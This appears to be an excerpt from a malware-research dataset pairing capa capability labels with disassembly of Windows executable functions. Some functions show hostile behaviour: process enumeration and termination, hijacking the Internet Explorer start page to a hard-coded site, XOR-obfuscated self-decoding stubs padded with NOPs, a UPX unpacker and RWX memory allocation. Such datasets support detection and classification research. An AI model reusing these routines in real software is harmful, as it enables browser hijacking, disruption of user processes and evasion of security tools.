joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401180
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x6c
push 0x44
lea eax, [esp + 0x2c]
push 0
push eax
call fcn.00420000
add esp, 0xc
mov ecx, 0xc
mov dword [esp + 0xc], ecx
mov dword [esp], ecx
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x2c]
push edx
mov edx, dword [esp + 0x78]
push 0
push 0
push 0x4000000
mov eax, 1
push 0
mov dword [esp + 0x2c], eax
mov dword [esp + 0x20], eax
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x28]
push ecx
push edx
push 0
mov dword [esp + 0x50], 0x44
mov dword [esp + 0x38], 0
mov dword [esp + 0x2c], 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
add esp, 0x6c
ret

Function at 0x401200
Capabilities:
Enumerate processes
Terminate process

Disassembly:
sub esp, 0x138
mov eax, dword [0x441630]
xor eax, esp
mov dword [esp + 0x134], eax
mov eax, dword [esp + 0x13c]
push ebx
push ebp
push esi
push edi
push str.ntdll.dll
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.ZwDuplicateObject
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0xf
mov edi, eax
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea ecx, [esp + 0x18]
mov esi, eax
push ecx
push esi
mov dword [esp + 0x20], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4012cc
mov ebx, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea ebx, [ebx]
mov edx, dword [esp + 0x14]
push edx
lea eax, [esp + 0x40]
push eax
call fcn.0042e50d
add esp, 8
test eax, eax
jne 0x4012bd
push eax
push esi
call sub.KERNEL32.dll_Module32First
mov ecx, dword [esp + 0x20]
push ecx
push 0
push 0x1fffff
call ebx
push 1
push 0
push 0x1f0fff
lea edx, [esp + 0x1c]
push edx
push 0xffffffffffffffff
push eax
push 0xffffffffffffffff
mov dword [esp + 0x2c], eax
call edi
mov eax, dword [esp + 0x10]
push 4
push eax
call ebp
lea ecx, [esp + 0x18]
push ecx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401270
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x144]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
xor eax, eax
call fcn.0041ea1d
add esp, 0x138
ret
Function at 0x4012f0
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x441630]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov dword [ebp - 0x118], str.SoftwareMicrosoftInternet_ExplorerMain
lea edx, [ebp - 0x108]
push edx
push 0xf003f
push 0
mov eax, dword [ebp - 0x118]
push eax
push SysReAllocStringLen
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
sub esi, 2
call esi
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0
je 0x401353
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041ea1d
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x118], str.Start_Page
mov dword [ebp - 0x10c], 0x100
lea edx, [ebp - 0x10c]
push edx
lea eax, [ebp - 0x104]
push eax
lea ecx, [ebp - 0x114]
push ecx
push 0
mov edx, dword [ebp - 0x118]
push edx
mov eax, dword [ebp - 0x108]
push eax
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
sub esi, 2
call esi
mov dword [ebp - 0x110], eax
lea eax, [ebp - 0x104]
push str.baidu
push eax
call fcn.0041ebc0
add esp, 8
test eax, eax
jne 0x401342
lea ecx, [ebp - 0x104]
push str.hao123
push ecx
call fcn.0041ebc0
add esp, 8
test eax, eax
jne 0x401342
mov eax, str.http:__www.188hi.com
mov dword [ebp - 0x120], eax
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4013e0
sub eax, edx
inc eax
mov dword [ebp - 0x11c], eax
mov eax, dword [ebp - 0x11c]
push eax
mov ecx, dword [ebp - 0x120]
push ecx
push 1
push 0
mov edx, dword [ebp - 0x118]
push edx
mov eax, dword [ebp - 0x108]
push eax
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
sub esi, 2
call esi
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0
jne 0x401342
mov edx, dword [ebp - 0x108]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop esi
call fcn.0041ea1d
mov esp, ebp
pop ebp
ret

Function at 0x401450
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x134
mov eax, dword [0x441630]
xor eax, esp
mov dword [esp + 0x12c], eax
push esi
push edi
push 0
push 0xf
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
lea eax, [esp + 8]
push eax
push esi
mov dword [esp + 0x10], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4014bd
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, edi
lea ecx, [esp + 0x2c]
push str.cctv.exe
push ecx
call fcn.0042e50d
add esp, 8
test eax, eax
jne 0x4014ae
call edi
cmp dword [esp + 0x10], eax
jne 0x4014dd
lea edx, [esp + 8]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401490
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
pop esi
mov ecx, dword [esp + 0x12c]
xor ecx, esp
call fcn.0041ea1d
add esp, 0x134
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x134]
pop edi
pop esi
xor ecx, esp
mov eax, 1
call fcn.0041ea1d
add esp, 0x134
ret

Function at 0x401b60
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, word [esp + 4]
mov dword [esp + 4], edx
jmp fcn.00404ae6
Function at 0x403468
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x4034b0
call fcn.0040ce3d
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x4034b0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x4034f3
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x4034dc
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x4034dc
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x4034f0
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x40b8e2
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x40b929
call fcn.0040ce3d
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x40b929
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x40b945
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0040b45c
mov esi, eax
test edi, edi
je 0x40b943
test ebx, ebx
je 0x40b943
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x40c0dd
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x431a51
call fcn.0041f631
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x40c102
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x40c148
lea ecx, [ebp - 0x10]
call fcn.004029bb
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0040b94c
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.004022ab
mov eax, esi
call fcn.0041f709
ret 8
Function at 0x41ea1d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x441630]
jne 0x41ea27
repz ret
jmp fcn.004234ef

Function at 0x42bf44
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0042376a
and dword [ebp - 4], 0
cmp dword [0x4451e4], 0
mov ebx, eax
jne 0x42bff5
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x42c0a6
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x437610
push edi
call esi
test eax, eax
je 0x42c0a6
push eax
call fcn.004236f8
mov dword [esp], 0x437600
push edi
mov dword [0x4451e4], eax
call esi
push eax
call fcn.004236f8
mov dword [esp], 0x4375ec
push edi
mov dword [0x4451e8], eax
call esi
push eax
call fcn.004236f8
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x4451ec], eax
call esi
push eax
call fcn.004236f8
pop ecx
mov dword [0x4451f4], eax
test eax, eax
je 0x42bff5
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004236f8
pop ecx
mov dword [0x4451f0], eax
mov eax, dword [0x4451f0]
cmp eax, ebx
je 0x42c04d
cmp dword [0x4451f4], ebx
je 0x42c04d
push eax
call fcn.00423773
push dword [0x4451f4]
mov esi, eax
call fcn.00423773
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x42c04d
test edi, edi
je 0x42c04d
call esi
test eax, eax
je 0x42c044
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x42c044
test byte [ebp - 0xc], 1
jne 0x42c04d
or dword [ebp + 0x10], 0x200000
jmp 0x42c086
mov eax, dword [0x4451e8]
cmp eax, ebx
je 0x42c086
push eax
call fcn.00423773
pop ecx
test eax, eax
je 0x42c086
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x42c086
mov eax, dword [0x4451ec]
cmp eax, ebx
je 0x42c086
push eax
call fcn.00423773
pop ecx
test eax, eax
je 0x42c086
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4451e4]
call fcn.00423773
pop ecx
test eax, eax
je 0x42c0a6
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x42c0a8
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e072
nop
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x24ca4117
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
loop 0x42e060
nop
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x42e0d2
mov ebx, 0x42cd70
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
nop
mov esi, 0x36df61da
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.004082e9
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.004082e9
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.004082e9
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.004082e9
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.004082e9
mov dword [0x41203c], eax
call fcn.004082e9
test eax, eax
jge 0x402550
push 8
call fcn.004082e9
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.004082e9
pop ecx
push 1
call fcn.004082e9
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.004082e9
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.004082e9
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.004082e9
jmp 0x402495

Function at 0x4082e9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x4082f8
pop dword [ebp - 0x50]
mov eax, 0xd696f147
sub eax, 0xd6566e4f
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x3c7e2
push 0
mov eax, 0xc4ef518e
sub eax, 0xc4ae70b6
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0x550c
mov esi, eax
mov edi, 0x413bc4
add edi, dword [ebp - 0x50]
mov ebx, 0xe8080954
add dword [ebp - 0x20], edi
mov edx, dword [edi]
xor dword [ebp - 0x24], eax
xor edx, ebx
mov dword [esi], edx
add dword [ebp - 0x30], eax
add esi, 4
add edi, 4
loop 0x408345
add eax, 0x14703
mov ebx, eax
add eax, 5
mov ecx, 0x1d84ec08
sub ecx, 0x1d44ec08
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x40eb90
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x9000]
push edi
or ebp, 0xffffffff
jmp 0x40ebb2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x40ebb9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x40eba8
mov eax, 1
add ebx, ebx
jne 0x40ebcb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x40ebc0
jne 0x40ebdc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40ebc0
xor ecx, ecx
sub eax, 3
jb 0x40ebf0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x40ec62
mov ebp, eax
add ebx, ebx
jne 0x40ebfb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x40ec08
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x40ec2c
inc ecx
add ebx, ebx
jne 0x40ec18
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x40ec0d
jne 0x40ec29
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x40ec0d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x40ec4c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x40ec3d
jmp 0x40ebae
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x40ec4c
add edi, ecx
jmp 0x40ebae
pop esi
mov edi, esi
mov ecx, 0x14e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x40ec6a
cmp byte [edi], 6
jne 0x40ec6a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x40ec6f
lea edi, [esi + 0xc000]
mov eax, dword [edi]
or eax, eax
je 0x40ecde
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xe558]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xe5a8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x40ec9c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xe5ac]
or eax, eax
je 0x40ecd8
mov dword [ebx], eax
add ebx, 4
jmp 0x40ecb9
call dword [esi + 0xe5b0]
popal
jmp 0x404310
Function at 0x402aa4
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004041c8
test esi, esi
jne 0x402ada
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.004042b8
jmp 0x402af8
call sub.kernel32.dll_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.004029b8
mov edi, eax
test esi, esi
je 0x402af8
cmp dword [ebx], 0
je 0x402af8
dec esi
jmp 0x402ae1
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x403208
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x4ab020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x4032a0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403280
xor eax, eax
push ebp
push 0x403279
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x4032bc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403280
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
ret
mov ax, word [0x4ab020]
and ax, 0xffc0
mov dx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x4ab020], ax
mov esp, ebp
pop ebp
ret

Function at 0x40404c
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x4b204c], 0
je 0x4040ad
cmp word [0x4b2220], 0xd7b2
jne 0x404075
cmp dword [0x4b2228], 0
jbe 0x404075
mov eax, 0x4b221c
call dword [0x4b2238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push 0x4ab06c
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4040d4
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x4ab030], 0
jne 0x4040c9
push 0
push 0x4ab064
push 0x4ab06c
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret
Function at 0x406150
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
xor edx, edx
mov dword [ebp - 0x10], edx
xor edx, edx
push ebp
push 0x4061b6
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 0xb]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA
lea eax, [ebp - 0x10]
lea edx, [ebp - 0xb]
mov ecx, 7
call fcn.00404438
mov eax, dword [ebp - 0x10]
lea edx, [ebp - 4]
call fcn.00402da8
mov ebx, eax
cmp dword [ebp - 4], 0
je 0x4061a0
xor ebx, ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4061bd
lea eax, [ebp - 0x10]
call fcn.004041c8
ret

Function at 0x40b590
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b5c9
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004042b8
jmp 0x40b5d2
mov eax, ebx
mov edx, esi
call fcn.0040421c
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40b5dc
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.kernel32.dll_GetLocaleInfoA_1
test eax, eax
jle 0x40b5fd
mov al, byte [esp]
jmp 0x40b5ff
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x40bc84
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40bafc
mov eax, dword [0x4b1d2c]
cmp byte [eax], 0
je 0x40bd00
mov eax, dword [0x4b1a98]
call fcn.00402bd8
call fcn.004028e4
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.00408c58
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40bd48
push 0xfffffffffffffff4
call sub.kernel32.dll_GetStdHandle_1
push eax
call sub.kernel32.dll_WriteFile_1
jmp 0x40bd36
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x4b1a34]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x4b2668]
call fcn.00405648
push eax
call sub.user32.dll_LoadStringA_1
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA_1
add esp, 0x444
ret
Function at 0x40c5e4
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40c6ba
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 4], 0xffffffff
lea eax, [ebp - 8]
mov edx, ebx
call fcn.00404260
lea eax, [ebp - 8]
call fcn.004046d8
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404688
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40c6a4
mov eax, ebx
call fcn.0040277c
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40c69d
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 8]
call fcn.00404688
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40c687
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40c6cc
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40c687
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c6a4
mov eax, dword [ebp - 0x10]
call fcn.0040279c
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40c6c1
lea eax, [ebp - 8]
call fcn.004041c8
ret

Function at 0x40cbc4
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
xor edx, edx
push ebp
push 0x40cc28
push dword fs:[edx]
mov dword fs:[edx], esp
push 7
lea edx, [ebp - 7]
push edx
push 0x1004
push eax
call sub.kernel32.dll_GetLocaleInfoA_1
lea eax, [ebp - 0xc]
lea edx, [ebp - 7]
mov ecx, 7
call fcn.00404438
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetACP
mov edx, eax
pop eax
call fcn.00408734
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40cc2f
lea eax, [ebp - 0xc]
call fcn.004041c8
ret

Function at 0x420df8
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x4b2888
cmp dword [edi], 0
jne 0x420e74
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x4b2884]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x4ab588
mov ecx, 2
call fcn.00402978
mov edx, 0x420dd0
lea eax, [esi + 5]
call fcn.00420df0
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.00420df0
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x420e49
mov dword [0x4b2884], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x4223f0
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x4223f6
ret
Function at 0x424a6c
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x424abd
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x424aa4
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x424a94
jmp 0x424abd
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x424aa5
pop ebx
mov esp, ebp
pop ebp
ret